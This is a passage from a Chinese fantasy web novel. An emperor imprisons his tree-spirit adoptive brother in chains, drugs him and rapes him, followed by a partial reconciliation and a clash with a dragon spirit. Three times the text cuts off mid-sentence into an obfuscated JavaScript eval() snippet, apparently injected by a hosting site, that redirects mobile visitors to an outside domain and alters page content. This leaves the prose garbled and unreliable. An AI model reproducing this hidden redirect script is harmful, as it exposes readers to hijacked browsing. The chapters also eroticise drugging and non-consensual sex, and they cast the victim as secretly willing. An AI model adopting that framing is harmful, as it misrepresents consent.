萧凌晏两指捻起案上纸片,丢进油灯,面上浮起淡淡嘲弄:“你叫人瞧着恶心。” 纸人在火焰中凄厉尖啸:“你!忘恩负义!若非我,你岂能不费吹灰之力拿下此城?” 萧凌晏无动于衷:“你所图也不过君王龙气。各取所需,谈何恩义?” 纸人一愣,口中哭嚎戛然而止。他怎么知道的? “滚吧。”萧凌晏推开窗,任寒风卷走灰烬,“能捡个国师的名头,你该知足了。” “等等,你不想知道他……” 萧凌晏屈指碾碎最后一抹纸灰,杯中酒水一泼,冲了个干净,耳畔聒噪终于消失。虽知它还会再来,但起码能有十天半个月的清净。 他起身走至院中,抬脸望着眼前即将枯死的树。半晌,他忽伸手覆在树干上,轻轻摩挲树身。 这树奇在何处,那恶鬼缘何要它的树心? 他绕树走了几步,步伐忽顿:树干中段有一处奇特印记,与指甲盖等大,摸起来异样光滑,像是已深深嵌入树皮。 此物并不起眼,能被他注意到全然是因该印记的图样,说不出来像什么,但好巧不巧,萧珺后腰上有一胎记,同其一模一样。 -- 北疆。璃宫正殿。 萧珺垂眸望着下方噤若寒蝉的一干人等,眸中泛起寒意:“我在问你们话。” 众人面面相觑,更不敢作声,殿内一时陷入死寂,落针可闻。 “阵法都已布好,只需守他四年,到底有何难?这也能办砸?”萧珺扶额,他深知事已至此,兴师问罪无用,可依旧难免心有不甘。 虽放话说不再管那人,可他始终是放心不下。恶咒虽被他带走,施咒者却依旧盘踞京城,尚未离开,四年前他曾侥幸令她沉睡,可谁知他这么一走,她会不会醒,会不会又盯上那人…… 这么多年来,替他操心俨然已成了他的习惯,虽蒙屈辱,心有怨怼,却仍忍不住挂怀。 “君上,”被他含怒口吻这么一吓,终有人出列,躬身低声道:“属下等认为是有人破了阵法闯入宫中,这才劫走殿下。” “阵法若破,我应有感应才是……”萧珺额角隐隐作痛,他深知萧凌晏于此类偏门左道一无所知,不可能有法子主动离开,可若说是有谁暗中捣鬼,璃宫里外,乃至整个北境疆域皆是他的人,谁敢这么铤而走险,竟还能把事做成了? “君上,”那人犹豫须臾,又道:“有件事,属下不知当不当讲?” “何事?” 他从袖中取出一物递来,是一颗椭圆形的墨色小丸:“殿下酗酒伤了脾胃,又抗拒医者诊治,可回回却都好得极快,属下心觉异样,故而悄悄查探过,发觉殿下暗中在服此物。” 萧珺接过细瞧,此物异香扑鼻,这气味儿他不久前嗅到过,正是萧凌晏气急败坏时往嘴里灌的那些古怪药丸。 他那会儿便觉奇怪,又说不上哪儿奇怪,此时才知原委何在,这“药丸”,是活的,轻轻揉捏时,甚至能感觉到内里有什么东西正如心脏般有节律地搏动着,微弱,却难以忽略。 “此乃何物?” “属下等翻阅古籍,疑心此物乃躁虫胚。药性烈,毒性强,虽可治胃痛,但与酒共服易使人暴躁易怒,疑神疑鬼,同时可能伴随严重失眠,诱发酒瘾。” 萧珺眉头微蹙:“可知他服用此物已有多久?” “这……请恕属下无能,发觉时殿下已然离宫,无法……” “罢了。”萧珺只觉头更痛,“都退下吧。” 他从未如此挫败,他还道……起码在璃宫的这三年他将他保护得很好,不成想防住了恶咒,却没防住其他。 “主人,”徐辰缓步上前,将手上端着的药汤轻轻搁下,和声劝道:“既已回来,便不想那些事了吧?” 萧珺静坐须臾,竟是突然站起身来:“我得回去一趟。” 徐辰一愣,脱口而出:“您既已撂下话说恩断义绝,后会无期,再回去岂非丢面?” “……”萧珺沉默半晌,才淡然回道:“只是为报母后昔日照拂之恩罢了。” 话是如此,却不过借口。他印象中的萧凌晏温和亲人,体贴入微,会成今日这副陌生情状定是那躁虫胚作祟,他不该意气用事,甩手不管的。 徐辰看穿他言不由衷,人还在这儿,心恐怕是早飞到千里之外去了。他有些酸酸的,一时口无遮拦:“您不会觉得他那般对您全是那药丸的错吧?” 萧凌晏俨然未料到他今日这般胆大,警告地瞪他一眼。 徐辰立马噤声,心里却暗暗诽谤,恐怕全天下只有他主人觉得萧凌晏是个性子纯善,温润有礼的,那人分明打小就这个阴暗脾性,他至今还记得那小东西冲着主人甜甜微笑,手指却暗暗揉掐他翅根时的痛感,药丸不过是在这坏种身上添了个“大炮仗”,将人变得暴躁易怒,一点就着而已。 但这话他不敢当人面说,主人再怎么宠信他,真惹人不高兴了,一巴掌抽来还是很痛的。 他叹出这几日来的不知道第几口气:“您才刚回来,不多待些时候么?” 萧凌晏不加理会,只解下腰间玉佩:“我不在时,替我守好……” 话到半截,戛然而止,他口中毫无征兆地涌出大口鲜血,紧接着便是席卷全身的剧痛,像是被拦腰劈成两半。 徐辰吓得魂飞天外,忙扑了上来,“主人!您怎么了,可别吓我!” “这具……身体不……”萧珺勉强将玉佩塞进他手里,“等我……回来……” “主人!” 对方再无回应,悄无声息地倒在他怀里,他颤着手轻轻一碰,这具身躯竟是顷刻间灰飞烟灭。 -- 萧凌晏手中捻着一股红绳,正一圈一圈缠在树上。绳上每隔几厘便系上一枚铜钱,唯首端不同,那圆润晶莹之物,赫然是他从王府捡回的珠子。 红绳绕了几圈,铜钱层层叠叠,风来叮铃作响。 本朝鲜有人知萧家先祖乃道士出身,世代除妖,到了高祖皇帝那代却是剑走偏锋,丢了道袍法器,竖旗造-反,前朝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“不喜欢?这东西不是挺衬你么?”萧凌晏阴冷一笑,不由分说探出指尖,贴着对方细窄腰线滑入红绳缝隙间,仅是勾住红绳重重一勒,眼前人便瞬间伏倒,浑身颤抖得像遭了酷刑。他松开绳,令其弹了回去,铜钱烙在腰间,萧珺当即又是一阵战栗。 萧凌晏很是满意眼前之景,他重重抚过这截缠着红绳的腰身,经过那枚小珠子时格外用力往里摁了摁,语气森然:“我赏你的东西,你这辈子都别想脱下来。” 话音刚落,啪的一声响。他的脸忽的地歪向一侧,火辣辣的疼。他后知后觉,自己竟是被这人扇了一巴掌。 萧珺一把揪着他的领子,气得连嘴唇都在哆嗦:“你真是找死!” 那具人躯作为束缚恶咒的容器,本应能再挺一段时间,而今他这般毁了它,恶咒逸出,想也知会往何处来。 强撑了三年,功亏一篑。他越想越气,抬手又想给他一巴掌,萧凌晏一把攥住他胳膊,脸色难看至极:“你敢打我?” 他这辈子都没被人扇过脸,奇耻大辱。 “你有何打不得?”萧珺冷笑着抽回手,腰间灼得难受,他只得低头继续用力撕扯那段红绳,他不知萧凌晏何处寻来的这古怪物件,竟能封住他的内力和术法,他一时间只能这般用蛮力尝试解缚。 “好,很好。一会儿可别求我。”萧凌晏怒极反笑,忽强行往他嘴里塞了什么东西,那物入嘴即化,萧珺还未来得及反应便顺着喉管滑入食道。 “你……”他刚要质问那是何物,便觉一股陌生古怪的热意自体内迅速烧了起来。 8. 囚禁 “不愧是妖物,果然性淫,光天化日之下也能如此情状。”看着人难耐地蜷起身子,萧凌晏双眸立时变得晦暗深沉。明明已□□焚身,却还在那儿强装镇定地质问他究竟给他喂了什么东西,实在可笑。 他伸手拨开对方垂落胸前的长发,随手掐了一把,这人故作平稳的声线便立刻变了调,颤得不成样,身躯也蜷得更紧,似想遮掩身上异样,可不着寸缕的身躯压根儿什么也藏不住。如此模样,倒比昨夜殿内那血淋淋的场景更勾人,就连这副躯壳比昨夜亵玩的那具瘦骨嶙峋的身躯要顺眼得多,虽瞧着仍显单薄,好歹皮骨之间多了层薄薄肌理,不再那副枯槁消瘦,像是稍一用力便会从中断成两截的死相,叫人折腾起来也能更加放肆无忌。 他不顾对方挣扎,重重丢在榻上,趁其被摔得头晕目眩,一时找不着北,又拾起床头提前备好的镣铐,一左一右,咔哒叩在他腕上。 凡铁困不住妖物,但眼前这只已被他那铜钱红绳牢牢束缚,手段尽失,无论之前有多神通广大,此时也不过凡人之躯,岂能挣脱钢铁镣铐? 萧珺用力挣动,可锁链比成人手腕还粗,直至力竭,也不过徒令其哗哗作响。他不由暴躁:“解开!” 萧凌晏眼疾手快避开他扫来的腿,顺势扣住脚踝,将这条不安分的腿也锁了起来,另一条则牢牢制在掌心,叫其挣脱不得,“解开?你关了我三年,我凭什么放你?” 萧珺只得瞪着他:“非要做到这份上?”他再如何麻痹自己这人是因服了那躁虫胚才如此出格,也依旧气得心尖直颤。 萧凌晏检查完萧珺身上三道锁,确认都完好无缺,这才施施然抬眸,打量着眼前这张冰冷漠然,却又被药物激起的情欲软化了大半的面孔,接着目光缓缓下移,直把人看得毛骨悚然,羞愤欲死,才漫不经心探出指头:“你这不是挺喜欢的吗?都馋成这样了。” 他想他寻到了能令这人更难受痛苦的玩法,既然性子如此刚烈,如何酷刑折磨,也能咬牙忍耐,不若破其心防,叫他无地自容。 这一招果然见效,萧珺眼中瞬间腾起惊怒,想来这种陌生古怪的感觉比头一回时那种撕心裂肺的痛更叫他无所适从,锁链哗哗作响,眼瞧他又想踹人,萧凌晏嗤笑一声,猛地掐了一把掌中细长小腿,烙下数道青紫指痕,“事到如今还装什么?此等秽事,不正是你梦寐以求?昨夜你其实一直在暗爽吧?” 萧珺面色愈发难看,他已强迫自己忘记昨夜的剧痛屈辱,对方此时提起却不可避免地让那场混乱再次充斥他脑海,叫他再度如坠冰窟。 “呵,摆着一张冷脸给谁看?”萧凌晏俯身凑近,眸光愈发暗沉:“你对我什么心思,真以为我不知道?” 萧珺心头一突,浑身僵住。 他眼中闪过无措。知道……什么?知道了他暗藏心底的这段背德不伦的情意? 他面上掩饰得好,可骤然紧绷的身躯却一五一十地将他此时慌乱告知施暴者。 萧凌晏心头更冷,慌成这样,看来是被他说中了啊。典籍中的记载果然不错,妖物接近人类,尤其是皇族,所图无非人精龙气,故而才有无数精怪想方设法潜入宫廷,他这所谓兄长,与那恶鬼没什么两样,图谋的皆是他身上龙气,无非是这人手段更高明,花了十几年攻心,又欲擒故纵,摆出一副禁欲样,叫他欲念横生,自甘堕落;连野心也更胜那恶鬼,吞食龙气仍嫌不够,还得享受一下龙椅的滋味。 对上萧凌晏忌惮厌恶的目光,萧珺瞬间有种被扒光皮在烈日下曝晒的窒息感。 他过往时常恐惧担忧,怕这种不为世间所容的肮脏心思为对方所知,怕连兄弟都做不成,今时今日,深藏数年的情意被贸然点破,而对方态度,也正如他昔日最坏的设想。 他再无法自欺欺人,说萧凌晏是吃错了药才这般待他了。 他再度挣扎,即便是断一条胳膊,断一条腿,他也不想再留在这个令他羞愧难当的地方。 “既然想要,何必装出一副贞烈样?”萧凌晏手上稍稍用力,这具身躯便打着颤迎了上来,“瞧,这才是你们妖物本来的德行,淫=浪不堪。” 萧珺控制不了身体的本能反应,心头屈辱反叫这副躯壳更不堪撩拨。真心被人骤然剥开,又如此轻贱,他难堪至极,恨不能当场暴毙,再不济能消失也好,可距他的死期尚余时日,连逃离都是奢望,此时此刻,他只得被迫展开于人前,受尽对方轻慢目光的凌迟。 他心里难受,脸上却更要刻意伪装不在乎:“……既是厌憎,又何必委屈自己行这等秽事。” “话是如此,你这副皮相倒还有些可取之处,”萧凌晏眯起眼睛,低头轻佻地在人颈侧烙下连串吻痕,“我没那么挑,送上门的东西,不玩够本实在浪费。” 萧珺面无表情望着他:“同杀父仇人媾和,你爹在天之灵,如何看你?” 萧凌晏动作微顿,啄吻很快变成啃咬,将这段苍白纤长的脖颈弄得血迹斑斑,一片狼藉。发泄够了他才抬眸死死盯着萧珺的眼睛,冷声道:“你根本杀不了他。” 他也是昨夜回宫后翻阅典籍才发觉端倪。君王龙气在身,凡妖魔鬼怪中妄图加害者,皆受天谴缠身,轻则道行尽毁,重则魂飞魄散。 萧珺既还能这般活蹦乱跳,足以证明他并非直接下手之人,但这并不表明他是无辜的。相反,能以妖物之躯夺得皇位,中间必少不了真凶助力,虽非罪魁祸首,却也必是真凶同谋。事后又一力抗下罪名,死活不愿向他坦白父皇尸首所在,如此包庇,足以证明真凶与他关系密切。 此事不提倒罢,提了他便忍不住想,能被萧珺这么包庇,这么保护的人会是谁? 放在以前,这个人选只有他,可而今已证明过去那些关心爱护都是假的,他所图不过他身上龙气,从无真情。他心里装着的,大抵从始至终只有那个藏在他背后的真凶。 萧凌晏勾唇微笑,眼底却寒霜密布:“无论你如何袒护真凶,我都会把人找出来。” 他抽出手指,再度抚上身下人被红绳缠绕着的腰,勾着细绳一寸一寸勒紧皮肉,感受着对方因剧痛而控制不住的战栗,“然后当着他的面这般羞辱你,接着又在你面前把他剁得粉碎。” 他垂首吻上身下人因痛楚而血色尽失的唇,说是亲吻,更似撕咬。他绝不允许他的玩物对另一个人如此关照,愤怒与不甘催促着他将这狡猾无情的妖物吞吃入腹,占为己有。 他刚尝到他口中浓郁的桃香,舌尖便立刻被狠狠咬了一口,血腥味在两人唇舌间弥漫开,压过那甜滋滋的味道。 他撩起眼皮,对上萧珺阴冷的眸,也不知这人是在恼他此时的亲吻,还是恼他方才的威胁,无论哪个,都令他怒火中烧。他素来睚眦必报,当即狠狠咬了回去,在对方唇瓣上留下极深牙印。 但对方同样牙尖嘴利,一口啃在他上唇,许是咬掉一小块肉,痛得钻心。 “敢咬我?”他凶狠瞪着萧珺冷若冰霜的脸,这棵破桃树不结果,也不长叶,连花都没开过,占据他家御花园的地这么久,只跟着蚊虫蚁兽学会了咬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16522717|186286||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人,真是不识抬举。 他死死掐在对方小腿上的手掌忽然上移,卡住膝弯,整个人顺势压了上去。下一瞬,锁链再度哗啦作响。 他的施暴毫无章法,全在泄愤,但随手喂进的药物早已令这副身躯温软多情,再怎么粗鲁,都能从中得趣。即便萧珺面上依旧写满抗拒,冷冽的眼睛却还是在席卷而来的情欲作用下化成一汪毫无威力的春水,纵牙关紧咬,依旧泄出几声压抑不住的低喘。 “啧,”萧凌晏听得骤然火起,咬着对方仰起脖颈上艰难滑滚颤动着的喉结,力道加重,从人喉间挤出短促痛哼,“你那同伙,也这么弄过你吧?你是不是就是这样求他帮你抢来皇位的?” 他问得轻慢,心里却又妒又恨,妒那个真凶,恨眼前人。他现在知了,他从不是那个唯一,这人对着他装出的那副温柔模样对着别人也有过,这令他恨得发狂,酸得变形。 他不停地想,在他之前有没有人碰过他?他梦里同他缠绵时,他是否正在别人怀里这般?如此抗拒他,难不成是想为别人守身如玉? 一想到这些可能,他就恨不得钻进这人的心,将多余的,错误的,伪装的全部割下丢出去,只留他一个,即便没给他留过位置,他也要生生割一个供他容身的窟窿出来。他从来自私,他可以对这人没有情意,但他见不得对方心里没有他。 萧珺目光涣散,望着头顶帷帐,视野被泪意模糊,朦胧不清,瞧不见这张令人伤心欲绝的脸,可惜传入耳畔的声音还是那般清楚,一遍一遍提醒他自己这是在做什么,又是在同谁做。 五脏六腑都仿佛被搅开,本应痛苦无比的事,却又莫名其妙滋生出古怪麻痒,迅速累积成陌生快意。他不受控制地挺起腰身,捆在腰肢上的红绳受到牵扯,登时却如劈在树身的利斧,剧痛令他浑身瘫软,却也因祸得福,让他从那种几乎失控的迷离快感中醒转,然而好景不长,身上人连绵不绝的羞辱很快又将他打入深渊。 他不知这种煎熬要持续多久,耳畔锁链接连不断的哗啦声如贯耳魔音,一点一点击溃他的心防。 这人在问什么?同伙?何来同伙……那不过是一个被绝望憎恨束缚在死亡地,久久不愿转世投胎的母亲,恳求唯一的孩子助她复仇罢了。他忽理解了母亲的告诫,为何不允他暴露非人身份。于人族而言,非我族类,其心必异,先帝因此诛杀母亲,他疼爱多年的弟弟,也因此厌他尤深。 近午时,持续许久的锁链声才终于止息。彻夜未眠,清晨酗酒,方才又白日宣淫,如此种种,终于令萧凌晏生出些困意。但他还暂时不能睡,今日是母后回来的日子,得亲自去迎她。 他理好衣物,站起身来,临走前回头望了眼榻上人。他还醒着,带着满身狼藉,又镣铐加身,只能静静平躺着,望着头顶帷帐。这副情状已持续了好一阵,如何弄他,他都这副静得出奇,仿佛已灵魂出窍的模样。 “萧凌晏。” 刚往外走了几步,身后人突然出声。他心里不大舒坦,这人从不曾这般连名带姓唤过他。 “怎么?”他再次驻步回望,榻上人的目光从头顶帷帐转移到他脸上。 “我不可能放你的。”萧凌晏冷淡道:“除非哪天彻底玩腻了你。” “……我想喝水。” 萧凌晏一愣,萧珺的声音虽然沙哑,却出乎意料的平静,没有预想中的愤怒斥骂,像真的只是口渴了,想要喝水。 他瞥了眼对方泛白干涸的唇,犹豫片刻,还是倒了一杯水,默不作声递到他唇边。 9. 更衣 萧凌晏一直提防着他突然有什么举动,连捏着杯身的手指都时时紧绷着,但这人真的只是慢吞吞坐起身,就着他的手喝完了一整杯水。 他安分得有些诡异,半点瞧不出一个时辰前那副要把人撕碎的愤怒模样。萧凌晏一时不大习惯,站了一会儿才语气冷硬道:“还喝吗?” 见人摇头,他转身便走,却不想没两步这家伙又把他叫住了。 萧凌晏本不欲搭理,可鬼使神差的,却还是转返回来:“又做什么?” “衣服。” 萧凌晏嗤了一声:“穿衣服作甚?你又出不去。” “冷。” “……做树时不见你穿衣服,这会儿倒是事多。”抱怨归抱怨,他还是从衣橱里挑了件厚实的丢人身上,又给炉子里添了几条碳。 萧珺披上衣物,腕上铐着镣圈,袖子穿不进去,只能这样松松垮垮搭在肩上,他转了转手腕,继续开口使唤人:“纸笔。” 萧凌晏刚迈出的步子又收了回来,面色不善:“你究竟在搞什么名堂?” 萧珺神情依旧淡然:“我要写信。” 写信?萧凌晏气笑了,拔腿就走。 “遗书。” 轻飘飘两个字哐当砸他头上,将他双腿钉在原地。 “你说什么?”他阴着脸回头瞪他。 “我要交代些身后事。”萧珺随意后仰,背靠床头,“没有纸笔便罢,左右不过几句话,你听着便是。你若能活过明年,往后应是没什么坎坷了,切记莫再酗酒,实在馋了,不慎喝坏了胃,也别服那药,那东西是躁虫的胚卵,于你无益;大臣里头有几个好的,名字都给你记下了,在桌肚里,第一本册子便是,你若瞧着人顺心便用,不喜欢也莫苛待,免后世人口诛笔伐;母后身体弱,耳疾久治不愈,冬日又见雪目盲,我放不下她。你要替我多尽孝道……” 他没能说完,萧凌晏一把掐着他削瘦下颌,俊美面容被愤怒扭曲,显出几分可怖:“怎么,爽过了便翻脸不认人,同我玩寻死觅活的戏码?” 他可不信这人到了需要写遗书的地步,才不过二十六岁,说话这般中气十足,巴掌能抽得人眼冒金星,踹人时几乎弄断他肋骨,谁能有他康健?可心底莫名的慌乱又骗不过自己,真什么事没有为何突然说这种晦气话? 萧珺面无表情拨开他的手,自顾自又躺了回去:“不爱听便罢,说来说去也不过这些废话。你可以走了。” 萧凌晏将人从被褥里一把薅起来,咬牙切齿:“你给我解释清楚,没头没脑说这些话作甚?” 萧珺盯着他看了好一阵,忽轻声道:“你能不能,变回从前那样?” 萧凌晏恼火:“别扯什么从前,你到底想怎样?想寻短见我现在能送你一程。” “那还废话作甚?”萧珺拽起他的手搭在伤痕累累的颈上,“要掐死我还是旁的什么,都可以。” “你!”萧凌晏哪能真下死手,他一肚子火没处撒,撂下狠话道“回来再收拾你。”便甩开人拂袖出门,可没走多远又飞快折回来,冲着他气急败坏:“你究竟发什么疯?被我睡一回能给你气成这样?非寻死不成?” 萧珺牵起床头铁链,漫不经心道:“这么粗,许是不大能勒死人。若我没能死透,记得给我补上一刀。” 萧凌晏:“……” 他深吸一口气,道:“你若敢死,我便敢把你的尸首送到母后跟前。” 萧珺顿住。萧凌晏抢回链子,俯身凑近他耳畔沉声威胁:“母后多疼你,你不会也狠心都忘了个干净吧?她若见你以这副模样死在榻上,会作何感想?” 眼瞧着人没再开腔,他不紧不慢直起身,伸手抹去他唇瓣残余水渍,又将他衣领拉紧,扯起被褥给人裹成粽子:“我还没玩够,休想死得这么容易。” 他言罢要走,不想萧珺竟是又拽住了他,他有些不耐,刚要开口,对方抢先一步:“你若真念着她,便放我走。” “做梦。” 萧凌晏想扯出衣袖,不想没了那□□效,这人手劲大得出奇,顺着衣袖又攥住了他的手臂:“她若知你我兄弟阋墙,心头该是何滋味?” “……”萧凌晏猛地抽手。他和萧珺在向母后报喜不报忧这方面总有奇怪的默契,他被萧珺设计丢去北疆,信中却告诉母后是自愿;他起兵造反,萧珺则同母后说他是回京游玩,仗着母后耳不聪目不明,双双营造一副他们还如过去那般亲近的假象。他确实不敢想,若母后知晓他两实际已如此剑拔弩张,会心碎成何等境地。 但很快他又笑了,目光阴冷,神情却戏谑:“不奇怪么?此处为何只有你我,地裂这么大的动静,都无人前来?”他沉声道:“这个院子,从今起,只我能进。她不会知道你在此处,无人能晓。在外人眼里,你不过只是个贪生怕死,丢下臣民逃命的懦夫而已。” 萧珺很轻地叹了一声,声音低得似自言自语:“……你怎么能这么恨我?” 萧凌晏心道这话你也好意思问?可盯着他颇有些落寞的神色,不知为何,已至嘴边的冷言冷语突然如何都说不出口,大抵又是他那将断不断,理不清明的余情作祟。 他最终还是未置一词,叮铃哐啷将屋内一切锐器皆收了去,连能摔碎割人的瓷器也尽数处理掉了,屋里几乎被清得空荡荡,一切能用以轻生的物事都除了个遍。 他合上门,准备落锁,犹豫片刻,却是又改了主意。此去来回需三日,足足近四十个时辰,凭这人的作妖能力,难以想象会出多少岔子。 “你与我同去。”他从衣橱里又翻了几件衣物出来,“现在更衣,穿这个。颈上这些都遮住,别叫母后瞧见。” 萧珺嘲讽地嗤了一声,像是在嘲他敢做怎么不敢叫人看。 萧凌晏面色不善地瞥他一眼:“怎么,要我帮你穿?” 萧珺没接话,举了举手上镣铐。意思再明显不过:这东西不解我怎么穿? 萧凌晏思忖须臾,为他解了镣铐。果不其然,刚得自由这人便抬手偷袭,他早有预料,一把截住劈来的手刀,飞快从袖中摸出两段稍短的铜钱绳,不由分说缠在他双腕上。 萧珺双手瞬间脱力,哆嗦着抬不起来,仿佛有无数长针扎进腕骨。他只得目光阴狠地瞪着他:“真是……好手段。” “过奖。”萧凌晏又俯身解开他足上镣铐,故技重施,在脚踝两处也各缠上红绳,如此一来便完全限制了他的动作,叫他只能慢吞吞地跟在他身后。 见人气得面色发青却又无可奈何,他颇有些得意,真不枉他足足穿了近一个时辰的铜钱绳。这东西,要多少有多少,要多长有多长。 “可以了。更衣吧。”萧凌晏抱臂倚在案边,边盯着人穿衣边时不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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镜中的萧珺瞬间睁大眼睛。他以为这辈子再听不见他这般唤他了。 萧凌晏轻轻从背后环住他,埋进他长发中轻喃:“我不知为何会变成这样……我也好想同你回到从前。” 他变得突兀,甚至叫人有些毛骨悚然。萧珺忍不住问:“你怎么了?” 身后人无声无息,只缓缓将他搂紧,两滴温热的液体滴落在他后颈上,又顺着肌理没入衣中,“哥,我好喜欢你,可又好恨你……我不懂……你明明说过我很聪明的,但我现在变得好笨,什么都想不通……头好痛,从没停下过……别生我气,别离开我……” 他开始语无伦次,叽里咕噜说着前言不搭后语,叫人听不懂的话,不多时,声音又逐渐变轻,听不真切。 萧珺以为自己已彻底冷下去的心又不免为他颤了起来。 他这到底是怎么了,还是躁虫胚作祟?可那东西不过药材,何至于此?简直像发了癔症似的。 他急切地想转过身看看他,可四肢同腰间的红绳叫他动一下都痛得钻心,他只得和声劝道:“先给我解开这些绳,让我看看你。” 可身后人却是彻底没了声响,只余清浅而平稳的呼吸落在他颈间发上。 这人竟是就这样拥着他,靠在他肩头睡着了。 10. 孽缘 成人的重量压在身上绝对算不得轻松,尤其这人还睡得死沉,胳膊在他肩上环得极紧,叫人喘不过气。 萧珺目光扫过镜台桌案,落在油灯中摇曳的烛火上。他本体虽非真树,却也与木脱不了干系,极惧雷火,但事已至此,只能棋走险招。 他艰难抬起手腕,幸而油灯放得不高,这般抬手,火舌将将能够到他腕上红绳。铜钱与红线乃至阳之物,遇火燃得极快,呼啦一下便从中断成两截。他眼疾手快收回腕,虽还是被火燎了几口,不过这只手总算是能行动自如。 他故技重施,又烧断了其余几处的红绳,只腰上的不知为何怎么都点不着,他只好暂且搁置,先把伏在他肩头沉睡的人挪回榻上。 萧凌晏睡得极沉,这么挪动都不见醒,自然是没法儿再阻挠他离开。如此良机,他本该远走高飞,再不回来,放任这辱没他又轻贱他的人未来受恶咒缠身,英年早逝,可他坐在榻边,望着人沉睡的脸,才发觉他眼下青黑有多重。 这人本就生得一副深邃眉目,平日里瞧着俊逸至极,自昨日回来后却总朝他发疯,永远一副拧眉怒目的阴沉模样,不经意瞧,还道眼下这两团青黑是眉骨投下的阴影。 憔悴至此,也不知是多久没睡过整觉。他只听属下说他时常酗酒,如今想来,许是睡不着才这般自虐。他看了又看,终还是没能狠下心走,反忍不住伸手摸了摸他的脸。他不知情从何起,亦记不清何时变了味儿,对弟弟的疼宠与对人的爱怜早混成一团分不清。 似觉察到他的触摸,榻上人忽翻身靠了过来,迷迷糊糊间挪了几下凑到他身边,长臂一展,环紧他腰身,挤进他怀里继续睡。 萧珺下意识僵直了躯体,旋即才意识到腰间并无衣带束腰时的剧痛,虽也是勒着他的腰,此时却只有另一人的体温从肢体相接处传递而来,热乎乎的。同一张榻,同一个人,竟能又令他痛又叫他暖。 如此亲密,又如此平和,他难免怀念。萧凌晏十五岁后便不再同以往那样非缠着他要一起睡了,虽待他还是亲热,却总有意无意躲着他,甚至竭力避免同他肢体碰触,不说同榻而眠,连这样简单的依偎都没再有过。此时此刻,忽略这人已足以傲视群雄的身长,这般举止,倒和少时无差。 “哥……”熟睡者含含糊糊地唤他,他本就动摇不断的心顿时再冷硬不起来。 他不禁自嘲,做了二十多载的人,别的没学好,倒把人“好了伤疤忘了疼”的德行学了个十成十。可怎么说这也是他唯一的弟弟,当兄长的,大抵都硬不起心肠。 “我再帮你一回。”他轻声低喃,“……莫再让我失望了。” 腰间红绳虽束缚了他的力量,但要施术其实并非全然无计可施,不过是要麻烦许多。他寻来金纸朱砂,朱砂研墨,纸上作符,再按八卦方位贴于床榻四周,此处便堪作临时聚气阵,一炷香内,能借天地之气勉强用些术法。 他伸手搭上萧凌晏的腕,以己身为媒介,小心翼翼引气入体。若是寻常妖族如此,定会被萧凌晏身上浓郁的龙气反噬至死,即便是某些铤而走险妄图以龙气进补修炼的妖族都不敢如此冒进,但他与其同住近二十年,早习惯了龙气环伺,除了眉心略觉胀痛,并无不适。 真气顺利循着萧凌晏体内各处经脉缓缓流淌,蕴养着被酒伤狠了的五脏六腑。 好在人年轻,虽有损伤,但未至根基,只要能戒酒,再好生养上些时日便能痊愈,他更忧心的还是萧凌晏方才异样。他一贯知这人不是个会轻易喊疼的,更别提像方才那般搂着他哭诉,声泪俱下地说“头好痛,从未停过”。二十多年了,这还是破天荒头一回。 思及此,他再度引了一缕真气,往人头颅处走,可触及瞬间,他竟是被一股极强的力量掀飞出去,重重砸在墙上。 他惊愕看着床榻,甚至忘了站起身。萧凌晏仍昏睡着,但他的面上,正丝丝缕缕涌出墨黑的气。 气丝在半空纠结缠绕,织成一条张牙舞爪的漆黑恶龙,猛地朝墙边的他扑来。 邪风猎猎,显然是来者不善。萧珺不断闪身躲避,可那龙似乎极其熟悉他的招数路数,腾挪扭转间竟是堵住他全部退路,将他逼入墙角。 萧珺莫名觉得它身上涌动着一股叫人熟悉而又忌惮的气息,他本能地劈出一掌,却忘了腰间红绳锁住他周身力量,如此全力一击,不禁对它毫发无损,反激怒了这条诡异恶龙,窗外天幕霎时乌云密布,惊雷滚滚,狂风吹灭灯中烛火,屋里黢黑一片,只近在咫尺的恶龙瞳孔中正金光烁动。 “你是何物?”萧珺冷眼看着它垂首逼近,“为何躲他身体里?” 自三百多年前乾钟道君替天行道,屠戮最后一条恶龙后,世上便再无真龙,弥散在天地间的龙气逐渐往皇室聚集,为历任君王承载,故而凡间也称君王为真龙天子。 他实不知,三百余年后的今日,为何会从萧凌晏的身躯里飞出这么一条气势汹汹的恶龙。 “躲?”恶龙冷嗤一声,呼出的气炙热得几乎让他这具树身燃烧起来,“这是朕自己的身体,如何叫躲?”它的声色与萧凌晏别无二样,却格外低沉嘶哑,戾气极盛。 萧珺神色更冷,这畜生莫不是想夺了萧凌晏的舍,将他的身躯据为己有? 他断不允此事发生。 方才攫取的天地真气还残余些许,他咬咬牙,忽伸手生生探入胸膛,抽出一柄木剑。树心离体,树身自是生机锐减,剑出瞬间,这副身躯便肉眼可见地开始凋零破碎。 恶龙见状竟是狂笑:“你还真投胎成了一柄破木剑!可笑,实在可笑!你也有今日!” 萧珺眉头一皱,它怎知此剑才是他的真身?见恶龙笑得失态,破绽百出,他来不及多想,目光一凝,挥剑而上。 “又是趁人之危……你惯会使这样下三滥的招数。”恶龙收了笑声,眸中寒意毕露,它不避剑芒,径直摁下利爪。 只听轰地一声,木剑竟是被死死摁在地砖上,霎时裂纹密布。 